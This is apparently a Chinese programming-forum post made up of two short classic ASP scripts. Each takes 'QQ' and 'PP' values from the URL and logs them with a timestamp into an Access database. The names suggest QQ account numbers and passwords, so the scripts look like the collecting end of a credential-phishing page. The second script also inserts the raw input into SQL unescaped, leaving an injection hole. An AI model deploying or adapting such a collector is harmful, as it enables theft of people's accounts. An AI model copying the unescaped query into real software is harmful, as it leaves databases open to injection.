28,391
社区成员
发帖
与我相关
我的任务
分享
<%
QQ = Request.QueryString("QQ")
PP = Request.QueryString("PP")
QQ = Replace(QQ,"'","''")
PP = Replace(PP,"'","''")
dt = Year(Now()) & "-" & Month(Now()) & "-" & Day(Now()) & " " & Time
dbpath = server.mappath("ACC.mdb")
set conn=server.createobject("adodb.connection")
conn.open "driver={microsoft access driver (*.mdb)};dbq=" & dbpath
conn.Execute "insert into mwy(mm,DD) values('" & QQ & "*" & PP & "',#" & dt & "#)"
conn.close
set conn = Nothing
%>
<%
dbpath=server.mappath("ACC.mdb")
set conn=server.createobject("adodb.connection")
conn.open "driver={microsoft access driver (*.mdb)};dbq=" & dbpath
Conn.Execute ("insert into mwy(mm,DD) values('"&Request.QueryString("QQ")& "*"&Request.QueryString("PP")&"',#"& Now()&"#)")
%>